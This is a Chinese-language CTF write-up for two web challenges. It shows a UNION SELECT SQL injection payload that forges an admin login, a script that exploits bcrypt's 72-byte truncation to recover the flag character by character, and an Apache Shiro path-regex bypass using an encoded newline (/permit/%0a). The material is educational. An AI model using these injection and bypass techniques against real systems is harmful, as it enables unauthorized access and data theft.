宁波市-2026-web

作者:Erina
5 分钟阅读 556 字

归档

CTF

目录

  1. crazy_sql
    1. 2. 泄露 secret
  2. Easy_Bypass Writeup

crazy_sql

首页给出了源码链接,给出了部分关键逻辑:

$flag = str_replace("\n", "", file_get_contents("/flag.txt"));
$secret = str_replace("\n", "", file_get_contents("/secret.txt"));
$db = new SQLite3('/db.sqlite3');
$pattern = '/\b(insert|update|delete|drop|truncate|alter|database|attach|values|load_extension)\b/i';
if (isset($_GET['salt']) && strcmp($_GET['salt'], $secret) == 0) {
$password .= $flag;
}
$pwhash = crypt($password, $secret);
if (!preg_match($pattern, $username) && !preg_match($pattern, $password)) {
$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
...
}

这里的 username 直接拼入 SQLite 查询,所以能使用 UNION SELECT 注入。

2. 泄露 secret

先用 username=admin&password=a 用户触发 crypt($password, $secret),得到当前密码 a 的哈希:

你的登陆密码错误:$2a$10$77b438009c258a4cb0215OT5BDFQzsJVmrpanlkmed5C5HJfTbyDC

然后用 SQL 注入伪造一条 admin 记录,让数据库返回的 pwhash 等于本次计算出的 $pwhash

x' UNION SELECT 'admin','$2a$10$77b438009c258a4cb0215OT5BDFQzsJVmrpanlkmed5C5HJfTbyDC'--

登录成功后页面注释泄露 $secret

<!-- secret: $2a$10$77b438009c258a4cb0215c98a19cfb61$ -->

如果 GET 参数 salt 等于 $secret,服务端会计算 crypt($password . $flag, $secret),我们构造如下请求:

POST /?salt=$2a$10$77b438009c258a4cb0215c98a19cfb61$
username=admin&password=<prefix>

服务端会回显:

crypt(<prefix> . $flag, $secret)

bcrypt 只处理前 72 字节。令 prefix = 'A' * 71,则哈希只与 A * 71 + flag[0] 有关,可以本地枚举第 1 个字符。第 i 位使用:

prefix = 'A' * (71 - i)
target = crypt(prefix + full_flag, secret)
local = crypt(prefix + known + candidate, secret)

local == target 时,candidate 就是当前字符。

写个简单的脚本解密出来,就能得到flag了:

charset = "DASCTFflag{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-!@#$%^&*()+[]=,:.;?/|~`<>\\'\""
charset = "".join(dict.fromkeys(charset))
known = ""
for idx in range(72):
pad = "A" * (71 - idx)
target = oracle(pad, secret)
for ch in charset:
if local_crypt(pad + known + ch, secret) == target:
known += ch
print(known, flush=True)

Easy_Bypass Writeup

给出了jar包,反编译能看到只有一个路由:/permit/{value}

MyShiroFilterFactoryBean 里手工注册了一个过滤规则:

/permit/.* -> myFilter

这道题的关键点在于 Shiro 在计算路径时会对 URI 先解码和归一化,再正则匹配。

这里的正则 /permit/.* 中的 . 不匹配换行,所以我们构造 /permit/%0a

解码后路径里会出现换行字符,导致 /permit/.* 这个正则匹配失败,Shiro 不再进入 myFilter

但 Spring MVC 仍然会把这个请求当成 /permit/{value} 来处理,于是控制器正常返回内容,即可得到flag。